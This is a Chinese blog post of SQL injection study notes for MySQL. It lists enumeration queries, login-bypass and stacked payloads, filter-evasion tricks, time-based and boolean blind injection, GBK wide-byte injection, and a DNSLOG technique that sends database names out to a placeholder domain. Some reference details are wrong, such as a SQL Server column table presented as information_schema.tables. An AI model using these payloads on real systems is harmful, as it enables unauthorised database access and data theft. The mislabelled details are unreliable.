汐白学Web-SQL

汐白学Web-SQL

二月 05, 2022

MySQL

常用语句记录

MySQL版本大于5.0时,有个默认数据库information_schema,里面存放着所有数据库的信息(比如表名、 列名、对应权限等),通过这个数据库,我们就可以跨库查询,爆表爆列。

information_schema.tables:(这是information_schema中的tables表,存储的都是表的信息)

列名 数据类型 描述
TABLE_CATALOG nvarchar(128) 表限定符。
TABLE_SCHEMA nvarchar(128) 表所有者。
TABLE_NAME nvarchar(128) 表名。
COLUMN_NAME nvarchar(128) 列名。
ORDINAL_POSITION smallint 列标识号。
COLUMN_DEFAULT nvarchar(4000) 列的默认值。
IS_NULLABLE varchar(3) 列的为空性。如果列允许 NULL,那么该列返回 YES。否则,返回 NO。
DATA_TYPE nvarchar(128) 系统提供的数据类型。
CHARACTER_MAXIMUM_LENGTH smallint 以字符为单位的最大长度,适于二进制数据、字符数据,或者文本和图像数据。否则,返回 NULL。有关更多信息,请参见数据类型。
CHARACTER_OCTET_LENGTH smallint 以字节为单位的最大长度,适于二进制数据、字符数据,或者文本和图像数据。否则,返回 NULL。
NUMERIC_PRECISION tinyint 近似数字数据、精确数字数据、整型数据或货币数据的精度。否则,返回 NULL。
NUMERIC_PRECISION_RADIX smallint 近似数字数据、精确数字数据、整型数据或货币数据的精度基数。否则,返回 NULL。
NUMERIC_SCALE tinyint 近似数字数据、精确数字数据、整数数据或货币数据的小数位数。否则,返回 NULL。
DATETIME_PRECISION smallint datetime 及 SQL-92 interval 数据类型的子类型代码。对于其它数据类型,返回 NULL。
CHARACTER_SET_CATALOG varchar(6) 如果列是字符数据或 text 数据类型,那么返回 master,指明字符集所在的数据库。否则,返回 NULL。
CHARACTER_SET_SCHEMA varchar(3) 如果列是字符数据或 text 数据类型,那么返回 DBO,指明字符集的所有者名称。否则,返回 NULL。
CHARACTER_SET_NAME nvarchar(128) 如果该列是字符数据或 text 数据类型,那么为字符集返回唯一的名称。否则,返回 NULL。
COLLATION_CATALOG varchar(6) 如果列是字符数据或 text 数据类型,那么返回 master,指明在其中定义排序次序的数据库。否则此列为 NULL。
COLLATION_SCHEMA varchar(3) 返回 DBO,为字符数据或 text 数据类型指明排序次序的所有者。否则,返回 NULL。
COLLATION_NAME nvarchar(128) 如果列是字符数据或 text 数据类型,那么为排序次序返回唯一的名称。否则,返回 NULL。
DOMAIN_CATALOG nvarchar(128) 如果列是一种用户定义数据类型,那么该列是某个数据库名称,在该数据库名中创建了这种用户定义数据类型。否则,返回 NULL。
DOMAIN_SCHEMA nvarchar(128) 如果列是一种用户定义数据类型,那么该列是这种用户定义数据类型的创建者。否则,返回 NULL。
DOMAIN_NAME nvarchar(128) 如果列是一种用户定义数据类型,那么该列是这种用户定义数据类型的名称。否则,返回 NULL。
  • 爆库:select SCHEMA_NAME from information_schema.SCHEMATA limit 1,5
    limit 1,5 表示从第一个数到第五个,在表中前五个值里面进行查询。
  • 爆表:select table_name from information_schema.tables where table_schema=0×6D656D626572 limit 1,5
    table_schema=0×6D656D626572 mysql中支持用整型的十六进制与字符串进行比较(这里判断其实部分是C语言的特性,c语言支持不同基础类型的数据直接比较,因为本质都是直接对比内存中存储的数据,但是不同的是C语言中整型变量为小端序,字符串为大端序;而在此时的mysql这里两者都为大端序,所以可以直接对比并通过)
  • 爆字段:select COLUMN_NAME from information_schema.COLUMNS whereTABLE_NAME=0×61646D5F75736572 limit 5,1

基础注入姿势

普通注入

过于相信用户的输入,未对用户输入做严格的防范处理,导致用户直接构造了sql语句插入执行。

比较经典的例子:

  • 互联网早期的万能密码:1' or 1=1';--#+
  • 堆叠注入:1';show database;#--+

绕过型

主要是过滤规则不够严谨,可以直接针对已知的过滤规则构造针对性的sql语句实现注入。

遇到敏感词直接报错的:

  • 空格绕过:select/**/*/**/from/**/table_name。利用可控范围的注释符/**/代替空格作为字符隔断。

遇到敏感词将其消除的:

  • 双写绕过:1' ununionion seselectlect 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()--+。部分开发者的过滤措施是将敏感词移除,双写绕过即针对此种类型。

进阶版注入姿势

进阶版并非完全脱离基础,基础才是灵魂,进阶版则是利用各种mysql自身特性来实现各种花式注入或者高难注入。

绕过引号或者黑名单限制

  • SELECT * FROM Users WHERE username = CHAR(97, 100, 109, 105, 110)
  • SELECT ‘a’ ‘d’ ‘mi’ ‘n’;
  • SELECT CONCAT(‘a’, ‘d’, ‘m’, ‘i’, ‘n’);
  • SELECT CONCAT_WS(‘’, ‘a’, ‘d’, ‘m’, ‘i’, ‘n’);
  • SELECT GROUP_CONCAT(‘a’, ‘d’, ‘m’, ‘i’, ‘n’);

concat 函数中只要存在参数值为 NULL,则返回结果就为 NULL

条件语句

CASE, IF(), IFNULL(), NULLIF().

  • SELECT CASE WHEN 1=1 THEN true ELSE false END;
  • SELECT IF(1=1, true, false);

这里的 caseif 的用法其实类似三元表达式

  • SELECT IFNULL(NULL, 123);
  • SELECT NULLIF(1=1, 123);

如果前一个参数是 null,返回第二个参数,否则返回前一个参数

判断型(01型)

无法直接获取我们所构造的sql语句执行结果的信息,比如被过滤了没有警告,执行失败后台直接进行了异常处理看不到导致服务异常的现象等等。利用难度较高,主要是需要费劲心思挖掘测信道方面的信息并利用其进行大量的猜测和试错。

这种情况下虽然服务本身没有出现可以利用的异常信息,但是当我们构造的命令使得其在两种或者更多中不同的正常状态间切换时,就可以据此判断我们构造的命令是否被执行,只要被执行了,就存在注入,至于如何利用,就是后话了。一般两种状态更方便,因为这大概率是开发者粗暴的将正常语句作为一类,不正常的语句作为一类进行的异常捕获,没有进行细节判断,会方便我们判断。

  • 时间盲注

SLEEP(), BENCHMARK().

select xxx from xxx where xxx=’’ - (IF(MID(version(),1,1) LIKE 5, BENCHMARK(10000000,SHA1(‘true’)), false)) - ‘’;

  • 基础条件型盲注
    构造执行
    (select char(substring(table_name,1,1)) from information_schema.tables limit 1)<=128
    然后不断修改最后比较的值,从而爆破处对应字符的值

宽字节注入

国内最常使用的 GBK 编码,这种方式主要是绕过 addslashes 等对特殊字符进行转移的绕过。反斜杠 \ 的十六进制为 %5c,在你输入 %bf%27 时,函数遇到单引号自动转移加入 \,此时变为 %bf%5c%27%bf%5cGBK 中变为一个宽字符「縗」。%bf 那个位置可以是 %81-%fe 中间的任何字符。不止在 SQL 注入中,宽字符注入在很多地方都可以应用。

DNSLOG 注入

DNS 在解析的时候会留下日志,通过读取多级域名的解析日志,来获取信息。简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息。

比如dnslog平台地址为:xxx.xxx

  • select load_file(‘\\test.xxx.xxx.xxx\abc’);
  • select load_file(concat(‘\\‘,(select database()),’.xxx.xxx.xxx\abc’));

这里就是通过 load_file 的特性实现的

隐藏